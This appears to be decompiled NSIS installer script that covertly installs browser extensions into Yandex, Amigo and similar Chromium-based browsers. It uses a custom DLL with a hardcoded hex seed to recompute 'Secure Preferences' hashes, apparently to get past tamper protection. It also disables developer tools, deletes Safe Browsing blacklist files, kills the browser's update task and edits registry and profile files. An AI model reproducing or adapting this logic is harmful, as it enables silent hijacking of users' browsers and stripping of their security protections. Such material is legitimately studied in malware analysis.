; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Push ""
; Push ""
; Push $_89_
; Push $_88_
; Push $_87_
; Push $_86_
; Push $_63_
; Push $_85_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Goto label_7052
label_7038:
ALPHAGHAMI::GHASH $_85_ "" $_86_ $_87_ $_88_ $_89_ "" "" ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push ""
; Push ""
; Push ""
; Push $_89_
; Push $_88_
; Push $_87_
; Push $_86_
; Push ""
; Push $_85_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
label_7052:
IfFileExists $_25_\Extensions\$_83_\$_84_ label_7054
CreateDirectory $_25_\Extensions\$_83_\$_84_
label_7054:
IfFileExists $PLUGINSDIR\CRXIMG\GDO.png 0 label_7056
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDO.png $_25_\Extensions\$_83_\$_84_\128.png ; $(LSTR_7)$_25_\Extensions\$_83_\$_84_\128.png ; "Copy to "
label_7056:
Push $_30_
Push $_83_
Push $PLUGINSDIR\SecurePreferencesWSEDJN
Push $R8
Call func_11497
StrCpy $_45_ $_25_\Extensions\$_83_\$_84_
Call func_12494
StrCpy $_81_ 1
label_7064:
IfFileExists "$_25_\Secure Preferences-install" 0 label_7072
Call func_13346
Delete "$_25_\Secure Preferences"
IfFileExists "$_25_\Secure Preferences" 0 label_7070
RMDir /r $_25_\Extensions\$_51_
Goto label_7072
label_7070:
CopyFiles /SILENT "$_25_\Secure Preferences-install" "$_25_\Secure Preferences" ; "$(LSTR_7)$_25_\Secure Preferences" ; "Copy to "
Delete /REBOOTOK "$_25_\Secure Preferences-install"
label_7072:
IfFileExists $_25_\Preferences-install 0 label_7077
Call func_13346
Delete $_25_\Preferences
IfFileExists $_25_\Preferences label_7077
CopyFiles /SILENT $_25_\Preferences-install $_25_\Preferences ; $(LSTR_7)$_25_\Preferences ; "Copy to "
label_7077:
Delete /REBOOTOK $_25_\Preferences-install
IfFileExists "$_25_\Sync Data Backup" 0 label_7080
RMDir /r /REBOOTOK "$_25_\Sync Data Backup"
label_7080:
StrCpy $_47_ $_25_\Bookmarks
IfFileExists $_25_\Bookmarks.inst label_7083
Call func_12634
label_7083:
Call func_12776
FunctionEnd
Function func_7085
StrCmp $_32_ 1 0 label_7192
IfFileExists "$_64_\Secure Preferences" 0 label_7192
StrCpy $1 1
Call func_13346
ClearErrors
nsJSON::Set /file "$_64_\Secure Preferences"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push "$_64_\Secure Preferences"
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions settings $_51_ state /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push state
; Push $_51_
; Push settings
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_7192
Pop $1
StrCmp $1 0 0 label_7192
StrCpy $_66_ 1
Call func_11125
StrCpy $_66_ 0
StrCmp $_40_ 2 label_7130
StrCmp $_63_ "" 0 label_7115
Call func_4709
Pop $_63_
label_7115:
ALPHAGHAMI::GHASH $_55_ $_63_ $_73_ $_74_ $_75_ $_76_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Push ""
; Push ""
; Push $_76_
; Push $_75_
; Push $_74_
; Push $_73_
; Push $_63_
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Goto label_7144
label_7130:
ALPHAGHAMI::GHASH $_55_ "" $_73_ $_74_ $_75_ $_76_ "" "" ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push ""
; Push ""
; Push ""
; Push $_76_
; Push $_75_
; Push $_74_
; Push $_73_
; Push ""
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
label_7144:
Call func_13346
Push "$_64_\Secure Preferences"
Push $_51_
Push $PLUGINSDIR\SecurePreferencesYABR
Push $R8
Call func_11497
StrCpy $_66_ 1
Call func_11290
StrCpy $_66_ 0
StrCmp $_40_ 2 label_7172
StrCmp $_63_ "" 0 label_7157
Call func_4709
Pop $_63_
label_7157:
ALPHAGHAMI::GHASH $_140_ $_63_ $_147_ $_148_ $_149_ $_150_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Push ""
; Push ""
; Push $_150_
; Push $_149_
; Push $_148_
; Push $_147_
; Push $_63_
; Push $_140_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Goto label_7186
label_7172:
ALPHAGHAMI::GHASH $_140_ "" $_147_ $_148_ $_149_ $_150_ "" "" ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push ""
; Push ""
; Push ""
; Push $_150_
; Push $_149_
; Push $_148_
; Push $_147_
; Push ""
; Push $_140_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
label_7186:
Call func_13346
Push "$_64_\Secure Preferences"
Push $_138_
Push $PLUGINSDIR\SecurePreferencesNTYABR
Push $R8
Call func_11497
label_7192:
StrCmp $_40_ 2 label_7284
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Local State" 0 label_7284
StrCpy $_30_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Local State"
Call func_13346
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get ya /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push ya
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_7284
ClearErrors
nsJSON::Delete ya brand_config_last_modified /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push brand_config_last_modified
; Push ya
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Delete ya last_runned_version /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push last_runned_version
; Push ya
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Delete ya master_preferences_migrator /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push master_preferences_migrator
; Push ya
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Delete variations_compressed_seed /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push variations_compressed_seed
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Delete variations_last_fetch_time /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push variations_last_fetch_time
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Delete variations_seed_date /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push variations_seed_date
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Delete variations_seed_signature /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push variations_seed_signature
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Set background_mode enabled /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push enabled
; Push background_mode
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set browser background_update allowed /value false
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push false
; Push /value
; Push allowed
; Push background_update
; Push browser
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_7283
Call func_13346
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
Goto label_7284
label_7283:
Delete /REBOOTOK $_30_
label_7284:
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Safe Browsing Antishock Blacklist" 0 label_7286
Delete /REBOOTOK "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Safe Browsing Antishock Blacklist"
label_7286:
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Safe Browsing Yellow List" 0 label_7288
Delete /REBOOTOK "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Safe Browsing Yellow List"
label_7288:
nsExec::ExecToStack "schtasks /delete /tn $\"Îáíîâëåíèå Áðàóçåðà ßíäåêñ $\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Îáíîâëåíèå Áðàóçåðà ßíäåêñ $\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /change /tn $\"Îáíîâëåíèå Áðàóçåðà ßíäåêñ$\" /disable"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /change /tn $\"Îáíîâëåíèå Áðàóçåðà ßíäåêñ$\" /disable"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
FunctionEnd
Function func_7299
ClearErrors
ReadRegStr $9 HKCU Software\Yandex\YandexBrowser ap
IfErrors label_7303
StrCmp $9 dev label_7304
label_7303:
WriteRegStr HKCU Software\Yandex\YandexBrowser ap dev
label_7304:
Call func_12622
Call func_11125
CreateDirectory "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_"
nsisunz::Unzip $PLUGINSDIR\sl.zip "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_"
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_7317
Delete "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_\img\48.png"
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_\img\48.png" label_7317
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "Copy to "
label_7317:
FileOpen $1 "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\First Run" w
FileWrite $1 ""
FileClose $1
FileOpen $1 "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Preferences" w
FileWrite $1 {$\"devtools$\":{$\"disabled$\":true}}
FileClose $1
FileOpen $1 "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Secure Preferences" w
FileWrite $1 ""
FileClose $1
StrCpy $_30_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Secure Preferences"
StrCmp $_63_ "" 0 label_7330
Call func_4709
Pop $_63_
label_7330:
ALPHAGHAMI::GHASH $_55_ $_63_ $_73_ $_74_ $_75_ $_76_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Push ""
; Push ""
; Push $_76_
; Push $_75_
; Push $_74_
; Push $_73_
; Push $_63_
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferencesYABR
Push $R8
Call func_11497
StrCpy $_45_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_"
Call func_12133
StrCmp 1 1 0 label_7384
Call func_11290
CreateDirectory "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_138_\$_139_"
nsisunz::Unzip $PLUGINSDIR\nt.zip "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_138_\$_139_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_138_\$_139_"
; Push $PLUGINSDIR\nt.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
StrCpy $_45_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_138_\$_139_"
Call func_12459
StrCmp $_63_ "" 0 label_7365
Call func_4709
Pop $_63_
label_7365:
ALPHAGHAMI::GHASH $_140_ $_63_ $_147_ $_148_ $_149_ $_150_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5
; Push ""
; Push ""
; Push $_150_
; Push $_149_
; Push $_148_
; Push $_147_
; Push $_63_
; Push $_140_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $R8
Push $_30_
Push $_138_
Push $PLUGINSDIR\SecurePreferencesNTYABR
Push $R8
Call func_11497
label_7384:
FunctionEnd
Function func_7385
Call func_12622
IfFileExists "$_26_\Extension Data" 0 label_7428
IfFileExists "$_26_\Extension Data-install" 0 label_7389
Delete "$_26_\Extension Data-install"
label_7389:
CopyFiles /SILENT "$_26_\Extension Data" "$_26_\Extension Data-install" ; "$(LSTR_7)$_26_\Extension Data-install" ; "Copy to "
StrCpy $_30_ "$_26_\Extension Data-install"
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get browser /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push browser
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_7428
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set devtools disabled /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push disabled
; Push devtools
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_7428
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_7428:
IfFileExists "$_26_\Secure Preferences" label_7491
Call func_11125
IfFileExists $_26_\Extensions\$_51_ 0 label_7432
RMDir /r $_26_\Extensions\$_51_
label_7432:
nsisunz::Unzip $PLUGINSDIR\sl.zip $_26_\Extensions\$_51_\$_54_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_26_\Extensions\$_51_\$_54_
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_7442
Delete $_26_\Extensions\$_51_\$_54_\img\48.png
IfFileExists $_26_\Extensions\$_51_\$_54_\img\48.png label_7442
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_26_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_26_\Extensions\$_51_\$_54_\img\48.png ; "Copy to "
label_7442:
StrCpy $_45_ $_26_\Extensions\$_51_\$_54_
Call func_12133
ClearErrors
nsJSON::Set /file "$_26_\Extension Data-install"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push "$_26_\Extension Data-install"
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_7485
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_7485:
Push "$_26_\Extension Data-install"
Push $_51_
Push $PLUGINSDIR\SecurePreferences
Push 0
Call func_11497
Goto label_7708
label_7491:
IfFileExists "$_26_\Secure Preferences-install" 0 label_7493
Delete "$_26_\Secure Preferences-install"
label_7493:
CopyFiles /SILENT "$_26_\Secure Preferences" "$_26_\Secure Preferences-install" ; "$(LSTR_7)$_26_\Secure Preferences-install" ; "Copy to "
StrCpy $_30_ "$_26_\Secure Preferences-install"
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_7536
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_7536:
Call func_11125
IfFileExists $_26_\Extensions\$_51_ 0 label_7539
RMDir /r $_26_\Extensions\$_51_
label_7539:
Call func_13366
nsisunz::Unzip $PLUGINSDIR\sl.zip $_26_\Extensions\$_51_\$_54_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_26_\Extensions\$_51_\$_54_
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_7550
Delete $_26_\Extensions\$_51_\$_54_\img\48.png
IfFileExists $_26_\Extensions\$_51_\$_54_\img\48.png label_7550
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_26_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_26_\Extensions\$_51_\$_54_\img\48.png ; "Copy to "
label_7550:
Call func_13366
StrCpy $_45_ $_26_\Extensions\$_51_\$_54_
Call func_12133
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get protection macs browser show_home_button /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push show_home_button
; Push browser
; Push macs
; Push protection
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
Pop $3
IfErrors 0 label_7572
StrCpy $3 none
label_7572:
Push $3
Call func_5423
StrCmp $_61_ "" 0 label_7589
ALPHAGHAMI::GHASH $_55_ "" $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ $_20_
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push $_20_
; Push $_72_
; Push $_71_
; Push $_70_
; Push $_69_
; Push $_68_
; Push $_67_
; Push ""
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_61_
label_7589:
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferences
Push $_61_
Call func_11497
StrCmp 1 1 0 label_7630
ClearErrors
ReadINIStr $1 $EXEDIR\le LE NTSS
IfErrors 0 label_7630
Call func_11290
IfFileExists $_26_\Extensions\$_138_ 0 label_7601
RMDir /r $_26_\Extensions\$_138_
label_7601:
StrCmp $_62_ "" 0 label_7616
ALPHAGHAMI::GHASH $_140_ "" $_142_ $_143_ $_145_ $_146_ "" "" $_20_
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push $_20_
; Push ""
; Push ""
; Push $_146_
; Push $_145_
; Push $_143_
; Push $_142_
; Push ""
; Push $_140_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_62_
label_7616:
Push $_30_
Push $_138_
Push $PLUGINSDIR\SecurePreferencesNT
Push $_62_
Call func_11497
nsisunz::Unzip $PLUGINSDIR\nt.zip $_26_\Extensions\$_138_\$_139_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_26_\Extensions\$_138_\$_139_
; Push $PLUGINSDIR\nt.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
StrCpy $_45_ $_26_\Extensions\$_138_\$_139_
Call func_12459
StrCpy $_151_ 1
label_7630:
ClearErrors
ReadINIStr $1 $EXEDIR\le LE WSEDJN
IfErrors 0 label_7665
StrCmp $_86_ "" 0 label_7636
Push DJN
Call func_11441
label_7636:
IfFileExists $_26_\Extensions\$_83_ 0 label_7638
RMDir /r $_26_\Extensions\$_83_
label_7638:
StrCmp $_79_ "" 0 label_7653
ALPHAGHAMI::GHASH $_85_ "" $_86_ $_87_ $_88_ $_89_ "" "" $_20_
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push $_20_
; Push ""
; Push ""
; Push $_89_
; Push $_88_
; Push $_87_
; Push $_86_
; Push ""
; Push $_85_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_79_
label_7653:
IfFileExists $_26_\Extensions\$_83_\$_84_ label_7655
CreateDirectory $_26_\Extensions\$_83_\$_84_
label_7655:
IfFileExists $PLUGINSDIR\CRXIMG\GDO.png 0 label_7657
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDO.png $_26_\Extensions\$_83_\$_84_\128.png ; $(LSTR_7)$_26_\Extensions\$_83_\$_84_\128.png ; "Copy to "
label_7657:
Push $_30_
Push $_83_
Push $PLUGINSDIR\SecurePreferencesWSEDJN
Push $_79_
Call func_11497
StrCpy $_45_ $_26_\Extensions\$_83_\$_84_
Call func_12494
StrCpy $_81_ 1
label_7665:
ClearErrors
ReadINIStr $1 $EXEDIR\le LE WSEBAP
IfErrors 0 label_7700
StrCmp $_93_ "" 0 label_7671
Push BAP
Call func_11441
label_7671:
IfFileExists $_26_\Extensions\$_90_ 0 label_7673
RMDir /r $_26_\Extensions\$_90_
label_7673:
StrCmp $_80_ "" 0 label_7688
ALPHAGHAMI::GHASH $_91_ "" $_93_ $_94_ $_95_ $_96_ "" "" $_20_
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push $_20_
; Push ""
; Push ""
; Push $_96_
; Push $_95_
; Push $_94_
; Push $_93_
; Push ""
; Push $_91_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_80_
label_7688:
IfFileExists $_26_\Extensions\$_90_\$_92_ label_7690
CreateDirectory $_26_\Extensions\$_90_\$_92_
label_7690:
IfFileExists $PLUGINSDIR\CRXIMG\GDE.png 0 label_7692
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDE.png $_26_\Extensions\$_90_\$_92_\128.png ; $(LSTR_7)$_26_\Extensions\$_90_\$_92_\128.png ; "Copy to "
label_7692:
Push $_30_
Push $_90_
Push $PLUGINSDIR\SecurePreferencesWSEBAP
Push $_80_
Call func_11497
StrCpy $_45_ $_26_\Extensions\$_90_\$_92_
Call func_12494
StrCpy $_82_ 1
label_7700:
IfFileExists "$_26_\Secure Preferences-install" 0 label_7708
Call func_13366
Delete "$_26_\Secure Preferences"
IfFileExists "$_26_\Secure Preferences" 0 label_7706
RMDir /r $_26_\Extensions\$_51_
Goto label_7708
label_7706:
CopyFiles /SILENT "$_26_\Secure Preferences-install" "$_26_\Secure Preferences" ; "$(LSTR_7)$_26_\Secure Preferences" ; "Copy to "
Delete /REBOOTOK "$_26_\Secure Preferences-install"
label_7708:
IfFileExists "$_26_\Extension Data-install" 0 label_7713
Call func_13366
Delete "$_26_\Extension Data"
IfFileExists "$_26_\Extension Data" label_7713
CopyFiles /SILENT "$_26_\Extension Data-install" "$_26_\Extension Data" ; "$(LSTR_7)$_26_\Extension Data" ; "Copy to "
label_7713:
Delete /REBOOTOK "$_26_\Extension Data-install"
StrCpy $_47_ $_26_\Bookmarks
Call func_13366
IfFileExists $_26_\Bookmarks.inst label_7718
Call func_12634
label_7718:
Call func_12776
FunctionEnd
Function func_7720
Call func_12622
Call func_11125
CreateDirectory "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_"
nsisunz::Unzip $PLUGINSDIR\sl.zip "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_"
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_7733
Delete "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_\img\48.png"
IfFileExists "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_\img\48.png" label_7733
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "Copy to "
label_7733:
FileOpen $1 "$LOCALAPPDATA\Amigo\User Data\Default\Extension Data" w
FileWrite $1 {$\"devtools$\":{$\"disabled$\":true}}
FileClose $1
FileOpen $1 "$LOCALAPPDATA\Amigo\User Data\Default\Secure Preferences" w
FileWrite $1 ""
FileClose $1
StrCpy $_30_ "$LOCALAPPDATA\Amigo\User Data\Default\Secure Preferences"
Push none
Call func_5423
StrCmp $_61_ "" 0 label_7757
ALPHAGHAMI::GHASH $_55_ "" $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ $_20_
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push $_20_
; Push $_72_
; Push $_71_
; Push $_70_
; Push $_69_
; Push $_68_
; Push $_67_
; Push ""
